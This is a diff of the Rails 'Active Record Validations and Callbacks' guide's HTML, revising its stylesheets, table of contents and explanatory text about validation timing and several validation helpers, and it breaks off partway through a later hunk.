- <script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
- <![endif]-->
- <link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
- <link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
- <link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
- <style type="text/css">
- div#container {
- max-width: 900px;
- padding-bottom: 3em;
-}
-
-div#content {
- margin-left: 200px;
-}
-
-div#container.notoc {
- max-width: 600px;
-}
-
-.notoc div#content {
- margin-left: 0;
-}
-
-pre {
- line-height: 1.4em;
-}
-
-#content p tt {
- background: #eeeeee;
- border: solid 1px #cccccc;
- padding: 3px;
-}
-
-dt {
- font-weight: bold;
-}
-
-#content dt tt {
- font-size: 10pt;
-}
-
-dd {
- margin-left: 3em;
-}
-
-#content dt tt, #content pre tt {
- background: none;
- padding: 0;
- border: 0;
-}
-
-#content .olist ol {
- margin-left: 2em;
-}
-
-#header {
- position: relative;
- max-width: 840px;
- margin-left: auto;
- margin-right: auto;
-}
-
-#header.notoc {
- max-width: 580px;
-}
-
-#logo {
- position: absolute;
- left: 10px;
- top: 10px;
- width: 110px;
- height: 140px;
-}
-
-div#header h1#site_title {
- background: url('images/ruby_on_rails_by_mike_rundle2.gif') top left no-repeat;
- position: absolute;
- width: 392px;
- height: 55px;
- left: 145px;
- top: 20px;
- margin: 0;
- padding: 0;
-}
-
-#site_title span {
- display: none;
-}
-
-#site_title_tagline {
- display: none;
-}
-
-ul#navMain {
- position: absolute;
- margin: 0;
- padding: 0;
- top: 97px;
- left: 145px;
-}
-
-.left-floaty, .right-floaty {
- padding: 15px;
-}
-
-.admonitionblock,
-.tableblock {
- margin-left: 1em;
- margin-right: 1em;
- margin-top: 0.25em;
- margin-bottom: 1em;
-}
-
-.admonitionblock .icon {
- padding-right: 8px;
-}
-
-.admonitionblock .content {
- border: solid 1px #ffda78;
- background: #fffebd;
- padding: 10px;
- padding-top: 8px;
- padding-bottom: 8px;
-}
-
-.admonitionblock .title {
- font-size: 140%;
- margin-bottom: 0.5em;
-}
-
-.tableblock table {
- border: solid 1px #aaaaff;
- background: #f0f0ff;
-}
-
-.tableblock th {
- background: #e0e0e0;
-}
-
-.tableblock th,
-.tableblock td {
- padding: 3px;
- padding-left: 5px;
- padding-right: 5px;
-}
-
-.sidebarblock {
- margin-top: 0.25em;
- margin: 1em;
- border: solid 1px #ccccbb;
- padding: 8px;
- background: #ffffe0;
-}
-
-.sidebarblock .sidebar-title {
- font-size: 140%;
- font-weight: 600;
- margin-bottom: 0.3em;
-}
-
-.sidebarblock .sidebar-content > .para:last-child > p {
- margin-bottom: 0;
-}
-
-.sidebarblock .sidebar-title a {
- text-decoration: none;
-}
-
-.sidebarblock .sidebar-title a:hover {
- text-decoration: underline;
-}
-
- </style>
+ <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+ <title>Active Record Validations and Callbacks</title>
+ <!--[if lt IE 8]>
+ <script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
+ <![endif]-->
+ <link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
+ <link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
+ <link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
</head>
<body>
- <div id="header" >
- <div id="logo">
- <a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
- </div>
-
- <h1 id="site_title"><span>Ruby on Rails</span></h1>
- <h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
+ <div id="header" >
+ <div id="logo">
+ <a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
+ </div>
+
+ <h1 id="site_title"><span>Ruby on Rails</span></h1>
+ <h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
- <ul id="navMain">
- <li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
- <li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
- </ul>
- </div>
+ <ul id="navMain">
+ <li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
+ <li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
+ </ul>
+ </div>
- <div id="container">
-
- <div id="sidebar">
- <h2>Chapters</h2>
- <ol>
- <li>
- <a href="#_motivations_to_validate_your_active_record_objects">Motivations to validate your Active Record objects</a>
- </li>
- <li>
- <a href="#_how_it_works">How it works</a>
- <ul>
-
- <li><a href="#_when_does_validation_happens">When does validation happens?</a></li>
-
- <li><a href="#_the_meaning_of_em_valid_em">The meaning of <em>valid</em></a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_the_declarative_validation_helpers">The declarative validation helpers</a>
- <ul>
-
- <li><a href="#_the_tt_validates_acceptance_of_tt_helper">The <tt>validates_acceptance_of</tt> helper</a></li>
-
- <li><a href="#_the_tt_validates_associated_tt_helper">The <tt>validates_associated</tt> helper</a></li>
-
- <li><a href="#_the_tt_validates_confirmation_of_tt_helper">The <tt>validates_confirmation_of</tt> helper</a></li>
-
- <li><a href="#_the_tt_validates_each_tt_helper">The <tt>validates_each</tt> helper</a></li>
-
- <li><a href="#_the_tt_validates_exclusion_of_tt_helper">The <tt>validates_exclusion_of</tt> helper</a></li>
-
- <li><a href="#_the_tt_validates_format_of_tt_helper">The <tt>validates_format_of</tt> helper</a></li>
-
- <li><a href="#_the_tt_validates_inclusion_of_tt_helper">The <tt>validates_inclusion_of</tt> helper</a></li>
-
- <li><a href="#_the_tt_validates_length_of_tt_helper">The <tt>validates_length_of</tt> helper</a></li>
-
- <li><a href="#_the_tt_validates_numericality_of_tt_helper">The <tt>validates_numericality_of</tt> helper</a></li>
-
- <li><a href="#_the_tt_validates_presence_of_tt_helper">The <tt>validates_presence_of</tt> helper</a></li>
-
- <li><a href="#_the_tt_validates_uniqueness_of_tt_helper">The <tt>validates_uniqueness_of</tt> helper</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_common_validation_options">Common validation options</a>
- <ul>
-
- <li><a href="#_the_tt_allow_nil_tt_option">The <tt>:allow_nil</tt> option</a></li>
-
- <li><a href="#_the_tt_message_tt_option">The <tt>:message</tt> option</a></li>
-
- <li><a href="#_the_tt_on_tt_option">The <tt>:on</tt> option</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_conditional_validation">Conditional validation</a>
- <ul>
-
- <li><a href="#_using_a_symbol_with_the_tt_if_tt_and_tt_unless_tt_options">Using a symbol with the <tt>:if</tt> and <tt>:unless</tt> options</a></li>
-
- <li><a href="#_using_a_string_with_the_tt_if_tt_and_tt_unless_tt_options">Using a string with the <tt>:if</tt> and <tt>:unless</tt> options</a></li>
-
- <li><a href="#_using_a_proc_object_with_the_tt_if_tt_and_tt_unless_tt_options">Using a Proc object with the <tt>:if</tt> and :<tt>unless</tt> options</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_writing_your_own_validation_methods">Writing your own validation methods</a>
- </li>
- <li>
- <a href="#_using_the_tt_errors_tt_collection">Using the <tt>errors</tt> collection</a>
- </li>
- <li>
- <a href="#_callbacks">Callbacks</a>
- <ul>
-
- <li><a href="#_callbacks_registration">Callbacks registration</a></li>
-
- <li><a href="#_registering_callbacks_by_overriding_the_callback_methods">Registering callbacks by overriding the callback methods</a></li>
-
- <li><a href="#_registering_callbacks_by_using_macro_style_class_methods">Registering callbacks by using macro-style class methods</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_available_callbacks">Available callbacks</a>
- <ul>
-
- <li><a href="#_callbacks_called_both_when_creating_or_updating_a_record">Callbacks called both when creating or updating a record.</a></li>
-
- <li><a href="#_callbacks_called_only_when_creating_a_new_record">Callbacks called only when creating a new record.</a></li>
-
- <li><a href="#_callbacks_called_only_when_updating_an_existing_record">Callbacks called only when updating an existing record.</a></li>
-
- <li><a href="#_callbacks_called_when_removing_a_record_from_the_database">Callbacks called when removing a record from the database.</a></li>
-
- <li><a href="#_the_tt_after_initialize_tt_and_tt_after_find_tt_callbacks">The <tt>after_initialize</tt> and <tt>after_find</tt> callbacks</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_halting_execution">Halting Execution</a>
- </li>
- <li>
- <a href="#_callback_classes">Callback classes</a>
- </li>
- <li>
- <a href="#_observers">Observers</a>
- <ul>
-
- <li><a href="#_registering_observers">Registering observers</a></li>
-
- <li><a href="#_where_to_put_the_observers_source_files">Where to put the observers' source files</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_changelog">Changelog</a>
- </li>
- </ol>
- </div>
-
- <div id="content">
- <h1>Active Record Validations and Callbacks</h1>
- <div id="preamble">
+ <div id="container">
+
+ <div id="sidebar">
+ <h2>Chapters</h2>
+ <ol>
+ <li>
+ <a href="#_overview_of_activerecord_validation">Overview of ActiveRecord Validation</a>
+ <ul>
+
+ <li><a href="#_why_use_activerecord_validations">Why Use ActiveRecord Validations?</a></li>
+
+ <li><a href="#_when_does_validation_happen">When Does Validation Happen?</a></li>
+
+ <li><a href="#_the_meaning_of_tt_valid_tt">The Meaning of <tt>valid</tt></a></li>
+
+ </ul>
+ </li>
+ <li>
+ <a href="#_the_declarative_validation_helpers">The Declarative Validation Helpers</a>
+ <ul>
+
+ <li><a href="#_the_tt_validates_acceptance_of_tt_helper">The <tt>validates_acceptance_of</tt> helper</a></li>
+
+ <li><a href="#_the_tt_validates_associated_tt_helper">The <tt>validates_associated</tt> helper</a></li>
+
+ <li><a href="#_the_tt_validates_confirmation_of_tt_helper">The <tt>validates_confirmation_of</tt> helper</a></li>
+
+ <li><a href="#_the_tt_validates_exclusion_of_tt_helper">The <tt>validates_exclusion_of</tt> helper</a></li>
+
+ <li><a href="#_the_tt_validates_format_of_tt_helper">The <tt>validates_format_of</tt> helper</a></li>
+
+ <li><a href="#_the_tt_validates_inclusion_of_tt_helper">The <tt>validates_inclusion_of</tt> helper</a></li>
+
+ <li><a href="#_the_tt_validates_length_of_tt_helper">The <tt>validates_length_of</tt> helper</a></li>
+
+ <li><a href="#_the_tt_validates_numericality_of_tt_helper">The <tt>validates_numericality_of</tt> helper</a></li>
+
+ <li><a href="#_the_tt_validates_presence_of_tt_helper">The <tt>validates_presence_of</tt> helper</a></li>
+
+ <li><a href="#_the_tt_validates_uniqueness_of_tt_helper">The <tt>validates_uniqueness_of</tt> helper</a></li>
+
+ <li><a href="#_the_tt_validates_each_tt_helper">The <tt>validates_each</tt> helper</a></li>
+
+ </ul>
+ </li>
+ <li>
+ <a href="#_common_validation_options">Common Validation Options</a>
+ <ul>
+
+ <li><a href="#_the_tt_allow_nil_tt_option">The <tt>:allow_nil</tt> option</a></li>
+
+ <li><a href="#_the_tt_allow_blank_tt_option">The <tt>:allow_blank</tt> option</a></li>
+
+ <li><a href="#_the_tt_message_tt_option">The <tt>:message</tt> option</a></li>
+
+ <li><a href="#_the_tt_on_tt_option">The <tt>:on</tt> option</a></li>
+
+ </ul>
+ </li>
+ <li>
+ <a href="#_conditional_validation">Conditional validation</a>
+ <ul>
+
+ <li><a href="#_using_a_symbol_with_the_tt_if_tt_and_tt_unless_tt_options">Using a symbol with the <tt>:if</tt> and <tt>:unless</tt> options</a></li>
+
+ <li><a href="#_using_a_string_with_the_tt_if_tt_and_tt_unless_tt_options">Using a string with the <tt>:if</tt> and <tt>:unless</tt> options</a></li>
+
+ <li><a href="#_using_a_proc_object_with_the_tt_if_tt_and_tt_unless_tt_options">Using a Proc object with the <tt>:if</tt> and :<tt>unless</tt> options</a></li>
+
+ </ul>
+ </li>
+ <li>
+ <a href="#_writing_your_own_validation_methods">Writing your own validation methods</a>
+ </li>
+ <li>
+ <a href="#_manipulating_the_tt_errors_tt_collection">Manipulating the <tt>errors</tt> collection</a>
+ </li>
+ <li>
+ <a href="#_using_the_tt_errors_tt_collection_in_your_view_templates">Using the <tt>errors</tt> collection in your view templates</a>
+ <ul>
+
+ <li><a href="#_changing_the_way_form_fields_with_errors_are_displayed">Changing the way form fields with errors are displayed</a></li>
+
+ </ul>
+ </li>
+ <li>
+ <a href="#_callbacks">Callbacks</a>
+ <ul>
+
+ <li><a href="#_callbacks_registration">Callbacks registration</a></li>
+
+ </ul>
+ </li>
+ <li>
+ <a href="#_conditional_callbacks">Conditional callbacks</a>
+ <ul>
+
+ <li><a href="#_using_a_symbol_with_the_tt_if_tt_and_tt_unless_tt_options_2">Using a symbol with the <tt>:if</tt> and <tt>:unless</tt> options</a></li>
+
+ <li><a href="#_using_a_string_with_the_tt_if_tt_and_tt_unless_tt_options_2">Using a string with the <tt>:if</tt> and <tt>:unless</tt> options</a></li>
+
+ <li><a href="#_using_a_proc_object_with_the_tt_if_tt_and_tt_unless_tt_options_2">Using a Proc object with the <tt>:if</tt> and :<tt>unless</tt> options</a></li>
+
+ <li><a href="#_multiple_conditions_for_callbacks">Multiple Conditions for Callbacks</a></li>
+
+ </ul>
+ </li>
+ <li>
+ <a href="#_available_callbacks">Available callbacks</a>
+ <ul>
+
+ <li><a href="#_callbacks_called_both_when_creating_or_updating_a_record">Callbacks called both when creating or updating a record.</a></li>
+
+ <li><a href="#_callbacks_called_only_when_creating_a_new_record">Callbacks called only when creating a new record.</a></li>
+
+ <li><a href="#_callbacks_called_only_when_updating_an_existing_record">Callbacks called only when updating an existing record.</a></li>
+
+ <li><a href="#_callbacks_called_when_removing_a_record_from_the_database">Callbacks called when removing a record from the database.</a></li>
+
+ <li><a href="#_the_tt_after_initialize_tt_and_tt_after_find_tt_callbacks">The <tt>after_initialize</tt> and <tt>after_find</tt> callbacks</a></li>
+
+ </ul>
+ </li>
+ <li>
+ <a href="#_halting_execution">Halting Execution</a>
+ </li>
+ <li>
+ <a href="#_callback_classes">Callback classes</a>
+ </li>
+ <li>
+ <a href="#_observers">Observers</a>
+ <ul>
+
+ <li><a href="#_registering_observers">Registering observers</a></li>
+
+ <li><a href="#_where_to_put_the_observers_source_files">Where to put the observers' source files</a></li>
+
+ </ul>
+ </li>
+ <li>
+ <a href="#_changelog">Changelog</a>
+ </li>
+ </ol>
+ </div>
+
+ <div id="content">
+ <h1>Active Record Validations and Callbacks</h1>
+ <div id="preamble">
<div class="sectionbody">
-<div class="para"><p>This guide teaches you how to work with the lifecycle of your Active Record objects. More precisely, you will learn how to validate the state of your objects before they go into the database and also how to teach them to perform custom operations at certain points of their lifecycles.</p></div>
-<div class="para"><p>After reading this guide and trying out the presented concepts, we hope that you'll be able to:</p></div>
-<div class="ilist"><ul>
+<div class="paragraph"><p>This guide teaches you how to hook into the lifecycle of your Active Record objects. More precisely, you will learn how to validate the state of your objects before they go into the database as well as how to perform custom operations at certain points in the object lifecycle.</p></div>
+<div class="paragraph"><p>After reading this guide and trying out the presented concepts, we hope that you&#8217;ll be able to:</p></div>
+<div class="ulist"><ul>
<li>
<p>
-Correctly use all the built-in Active Record validation helpers
+Use the built-in Active Record validation helpers
</p>
</li>
<li>
@@ -343,57 +194,55 @@ Work with the error messages generated by the validation process
</li>
<li>
<p>
-Register callback methods that will execute custom operations during your objects lifecycle, for example before/after they are saved.
+Create callback methods to respond to events in the object lifecycle.
</p>
</li>
<li>
<p>
-Create special classes that encapsulate common behaviour for your callbacks
+Create special classes that encapsulate common behavior for your callbacks
</p>
</li>
<li>
<p>
-Create Observers - classes with callback methods specific for each of your models, keeping the callback code outside your models' declarations.
+Create Rails Observers
</p>
</li>
</ul></div>
</div>
</div>
-<h2 id="_motivations_to_validate_your_active_record_objects">1. Motivations to validate your Active Record objects</h2>
+<h2 id="_overview_of_activerecord_validation">1. Overview of ActiveRecord Validation</h2>
<div class="sectionbody">
-<div class="para"><p>The main reason for validating your objects before they get into the database is to ensure that only valid data is recorded. It's important to be sure that an email address column only contains valid email addresses, or that the customer's name column will never be empty. Constraints like that keep your database organized and helps your application to work properly.</p></div>
-<div class="para"><p>There are several ways to validate the data that goes to the database, like using database native constraints, implementing validations only at the client side or implementing them directly into your models. Each one has pros and cons:</p></div>
-<div class="ilist"><ul>
+<div class="paragraph"><p>Before you dive into the detail of validations in Rails, you should understand a bit about how validations fit into the big picture. Why should you use validations? When do these validations take place?</p></div>
+<h3 id="_why_use_activerecord_validations">1.1. Why Use ActiveRecord Validations?</h3>
+<div class="paragraph"><p>The main reason for validating your objects before they get into the database is to ensure that only valid data is recorded. It&#8217;s important to be sure that an email address column only contains valid email addresses, or that the customer&#8217;s name column will never be empty. Constraints like that keep your database organized and helps your application to work properly.</p></div>
+<div class="paragraph"><p>There are several ways that you could validate the data that goes to the database, including native database constraints, client-side validations, and model-level validations. Each of these has pros and cons:</p></div>
+<div class="ulist"><ul>
<li>
<p>
-Using database constraints and/or stored procedures makes the validation mechanisms database-dependent and may turn your application into a hard to test and mantain beast. However, if your database is used by other applications, it may be a good idea to use some constraints also at the database level.
+Using database constraints and/or stored procedures makes the validation mechanisms database-dependent and may turn your application into a hard to test and maintain beast. However, if your database is used by other applications, it may be a good idea to use some constraints also at the database level. Additionally, database-level validations can safely handle some things (such as uniqueness in heavily-used tables) that are problematic to implement from the application level.
</p>
</li>
<li>
<p>
-Implementing validations only at the client side can be problematic, specially with web-based applications. Usually this kind of validation is done using javascript, which may be turned off in the user's browser, leading to invalid data getting inside your database. However, if combined with server side validation, client side validation may be useful, since the user can have a faster feedback from the application when trying to save invalid data.
+Implementing validations only at the client side can be difficult in web-based applications. Usually this kind of validation is done using javascript, which may be turned off in the user&#8217;s browser, leading to invalid data getting inside your database. However, if combined with server side validation, client side validation may be useful, since the user can have a faster feedback from the application when trying to save invalid data.
</p>
</li>
<li>
<p>
-Using validation directly into your Active Record classes ensures that only valid data gets recorded, while still keeping the validation code in the right place, avoiding breaking the MVC pattern. Since the validation happens on the server side, the user cannot disable it, so it's also safer. It may be a hard and tedious work to implement some of the logic involved in your models' validations, but fear not: Active Record gives you the hability to easily create validations, using several built-in helpers while still allowing you to create your own validation methods.
+Using validation directly in your Active Record classes ensures that only valid data gets recorded, while still keeping the validation code in the right place, avoiding breaking the MVC pattern. Since the validation happens on the server side, the user cannot disable it, so it&#8217;s also safer. It may be a hard and tedious work to implement some of the logic involved in your models' validations, but fear not: Active Record gives you the ability to easily create validations, providing built-in helpers for common validations while still allowing you to create your own validation methods.
</p>
</li>
</ul></div>
-</div>
-<h2 id="_how_it_works">2. How it works</h2>
-<div class="sectionbody">
-<h3 id="_when_does_validation_happens">2.1. When does validation happens?</h3>
-<div class="para"><p>There are two kinds of Active Record objects: those that correspond to a row inside your database and those who do not. When you create a fresh object, using the <tt>new</tt> method, that object does not belong to the database yet. Once you call <tt>save</tt> upon that object it'll be recorded to it's table. Active Record uses the <tt>new_record?</tt> instance method to discover if an object is already in the database or not. Consider the following simple and very creative Active Record class:</p></div>
+<h3 id="_when_does_validation_happen">1.2. When Does Validation Happen?</h3>
+<div class="paragraph"><p>There are two kinds of Active Record objects: those that correspond to a row inside your database and those that do not. When you create a fresh object, using the <tt>new</tt> method, that object does not belong to the database yet. Once you call <tt>save</tt> upon that object it will be saved into the appropriate database table. Active Record uses the <tt>new_record?</tt> instance method to determine whether an object is already in the database or not. Consider the following simple Active Record class:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Person <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>We can see how it works by looking at the following script/console output:</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>We can see how it works by looking at some script/console output:</p></div>
<div class="listingblock">
<div class="content">
<pre><tt>&gt;&gt; p = Person.new(:name =&gt; "John Doe", :birthdate =&gt; Date.parse("09/03/1979"))
@@ -405,25 +254,25 @@ http://www.gnu.org/software/src-highlite -->
&gt;&gt; p.new_record?
=&gt; false</tt></pre>
</div></div>
-<div class="para"><p>Saving new records means sending an SQL insert operation to the database, while saving existing records (by calling either <tt>save</tt> or <tt>update_attributes</tt>) will result in a SQL update operation. Active Record will use these facts to perform validations upon your objects, avoiding then to be recorded to the database if their inner state is invalid in some way. You can specify validations that will be beformed every time a object is saved, just when you're creating a new record or when you're updating an existing one.</p></div>
+<div class="paragraph"><p>Saving new records means sending an SQL <tt>INSERT</tt> operation to the database, while saving existing records (by calling either <tt>save</tt> or <tt>update_attributes</tt>) will result in a SQL <tt>UPDATE</tt> operation. Active Record will use these facts to perform validations upon your objects, keeping them out of the database if their inner state is invalid in some way. You can specify validations that will be beformed every time a object is saved, just when you&#8217;re creating a new record or when you&#8217;re updating an existing one.</p></div>
<div class="admonitionblock">
<table><tr>
<td class="icon">
<img src="./images/icons/caution.png" alt="Caution" />
</td>
-<td class="content">There are four methods that when called will trigger validation: <tt>save</tt>, <tt>save!</tt>, <tt>update_attributes</tt> and <tt>update_attributes!</tt>. There is one method left, which is <tt>update_attribute</tt>. This method will update the value of an attribute without triggering any validation, so be careful when using <tt>update_attribute</tt>, since it can let you save your objects in an invalid state.</td>
+<td class="content">There are four methods that when called will trigger validation: <tt>save</tt>, <tt>save!</tt>, <tt>update_attributes</tt> and <tt>update_attributes!</tt>. There is one update method for Active Record objects left, which is <tt>update_attribute</tt>. This method will update the value of an attribute <em>without</em> triggering any validation. Be careful when using <tt>update_attribute</tt>, because it can let you save your objects in an invalid state.</td>
</tr></table>
</div>
-<h3 id="_the_meaning_of_em_valid_em">2.2. The meaning of <em>valid</em></h3>
-<div class="para"><p>For verifying if an object is valid, Active Record uses the <tt>valid?</tt> method, which basically looks inside the object to see if it has any validation errors. These errors live in a collection that can be accessed through the <tt>errors</tt> instance method. The proccess is really simple: If the <tt>errors</tt> method returns an empty collection, the object is valid and can be saved. Each time a validation fails, an error message is added to the <tt>errors</tt> collection.</p></div>
+<h3 id="_the_meaning_of_tt_valid_tt">1.3. The Meaning of <tt>valid</tt></h3>
+<div class="paragraph"><p>To verify whether an object is valid, Active Record uses the <tt>valid?</tt> method, which basically looks inside the object to see if it has any validation errors. These errors live in a collection that can be accessed through the <tt>errors</tt> instance method. The process is really simple: If the <tt>errors</tt> method returns an empty collection, the object is valid and can be saved. Each time a validation fails, an error message is added to the <tt>errors</tt> collection.</p></div>
</div>
-<h2 id="_the_declarative_validation_helpers">3. The declarative validation helpers</h2>
+<h2 id="_the_declarative_validation_helpers">2. The Declarative Validation Helpers</h2>
<div class="sectionbody">
-<div class="para"><p>Active Record offers many pre-defined validation helpers that you can use directly inside your class definitions. These helpers create validations rules that are commonly used in most of the applications that you'll write, so you don't need to recreate it everytime, avoiding code duplication, keeping everything organized and boosting your productivity. Everytime a validation fails, an error message is added to the object's <tt>errors</tt> collection, this message being associated with the field being validated.</p></div>
-<div class="para"><p>Each helper accepts an arbitrary number of attributes, received as symbols, so with a single line of code you can add the same kind of validation to several attributes.</p></div>
-<div class="para"><p>All these helpers accept the <tt>:on</tt> and <tt>:message</tt> options, which define when the validation should be applied and what message should be added to the <tt>errors</tt> collection when it fails, respectively. The <tt>:on</tt> option takes one the values <tt>:save</tt> (it's the default), <tt>:create</tt> or <tt>:update</tt>. There is a default error message for each one of the validation helpers. These messages are used when the <tt>:message</tt> option isn't used. Let's take a look at each one of the available helpers, listed in alphabetic order.</p></div>
-<h3 id="_the_tt_validates_acceptance_of_tt_helper">3.1. The <tt>validates_acceptance_of</tt> helper</h3>
-<div class="para"><p>Validates that a checkbox has been checked for agreement purposes. It's normally used when the user needs to agree with your application's terms of service, confirm reading some clauses or any similar concept. This validation is very specific to web applications and actually this <em>acceptance</em> does not need to be recorded anywhere in your database (if you don't have a field for it, the helper will just create a virtual attribute).</p></div>
+<div class="paragraph"><p>Active Record offers many pre-defined validation helpers that you can use directly inside your class definitions. These helpers create validation rules that are commonly used. Every time a validation fails, an error message is added to the object&#8217;s <tt>errors</tt> collection, and this message is associated with the field being validated.</p></div>
+<div class="paragraph"><p>Each helper accepts an arbitrary number of attributes identified by symbols, so with a single line of code you can add the same kind of validation to several attributes.</p></div>
+<div class="paragraph"><p>All these helpers accept the <tt>:on</tt> and <tt>:message</tt> options, which define when the validation should be applied and what message should be added to the <tt>errors</tt> collection when it fails, respectively. The <tt>:on</tt> option takes one of the values <tt>:save</tt> (the default), <tt>:create</tt> or <tt>:update</tt>. There is a default error message for each one of the validation helpers. These messages are used when the <tt>:message</tt> option isn&#8217;t used. Let&#8217;s take a look at each one of the available helpers.</p></div>
+<h3 id="_the_tt_validates_acceptance_of_tt_helper">2.1. The <tt>validates_acceptance_of</tt> helper</h3>
+<div class="paragraph"><p>Validates that a checkbox on the user interface was checked when a form was submitted. This is normally used when the user needs to agree to your application&#8217;s terms of service, confirm reading some text, or any similar concept. This validation is very specific to web applications and actually this <em>acceptance</em> does not need to be recorded anywhere in your database (if you don&#8217;t have a field for it, the helper will just create a virtual attribute).</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -431,10 +280,9 @@ http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Person <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
validates_acceptance_of <span style="color: #990000">:</span>terms_of_service
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>The default error message for <tt>validates_acceptance_of</tt> is "<em>must be accepted</em>"</p></div>
-<div class="para"><p><tt>validates_acceptance_of</tt> can receive an <tt>:accept</tt> option, which determines the value that will be considered acceptance. It defaults to "1", but you can change it.</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>The default error message for <tt>validates_acceptance_of</tt> is "<em>must be accepted</em>"</p></div>
+<div class="paragraph"><p><tt>validates_acceptance_of</tt> can receive an <tt>:accept</tt> option, which determines the value that will be considered acceptance. It defaults to "1", but you can change this.</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -442,10 +290,9 @@ http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Person <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
validates_acceptance_of <span style="color: #990000">:</span>terms_of_service<span style="color: #990000">,</span> <span style="color: #990000">:</span>accept <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'yes'</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<h3 id="_the_tt_validates_associated_tt_helper">3.2. The <tt>validates_associated</tt> helper</h3>
-<div class="para"><p>You should use this helper when your model has associations with other models and they also need to be validated. When you try to save your object, <tt>valid?</tt> will be called upon each one of the associated objects.</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<h3 id="_the_tt_validates_associated_tt_helper">2.2. The <tt>validates_associated</tt> helper</h3>
+<div class="paragraph"><p>You should use this helper when your model has associations with other models and they also need to be validated. When you try to save your object, <tt>valid?</tt> will be called upon each one of the associated objects.</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -454,20 +301,19 @@ http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Library <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
has_many <span style="color: #990000">:</span>books
validates_associated <span style="color: #990000">:</span>books
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>This validation will work with all the association types.</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>This validation will work with all the association types.</p></div>
<div class="admonitionblock">
<table><tr>
<td class="icon">
<img src="./images/icons/caution.png" alt="Caution" />
</td>
-<td class="content">Pay attention not to use <tt>validates_associated</tt> on both ends of your associations, because this will lead to several recursive calls and blow up the method calls' stack.</td>
+<td class="content">Don&#8217;t use <tt>validates_associated</tt> on both ends of your associations, because this will lead to several recursive calls and blow up the method calls' stack.</td>
</tr></table>
</div>
-<div class="para"><p>The default error message for <tt>validates_associated</tt> is "<em>is invalid</em>". Note that the errors for each failed validation in the associated objects will be set there and not in this model.</p></div>
-<h3 id="_the_tt_validates_confirmation_of_tt_helper">3.3. The <tt>validates_confirmation_of</tt> helper</h3>
-<div class="para"><p>You should use this helper when you have two text fields that should receive exactly the same content, like when you want to confirm an email address or password. This validation creates a virtual attribute, using the name of the field that has to be confirmed with <em>_confirmation</em> appended.</p></div>
+<div class="paragraph"><p>The default error message for <tt>validates_associated</tt> is "<em>is invalid</em>". Note that each associated object will contain its own <tt>errors</tt> collection; errors do not bubble up to the calling model.</p></div>
+<h3 id="_the_tt_validates_confirmation_of_tt_helper">2.3. The <tt>validates_confirmation_of</tt> helper</h3>
+<div class="paragraph"><p>You should use this helper when you have two text fields that should receive exactly the same content. For example, you may want to confirm an email address or a password. This validation creates a virtual attribute, using the name of the field that has to be confirmed with <em>_confirmation</em> appended.</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -475,20 +321,21 @@ http://www.lorenzobettini.it
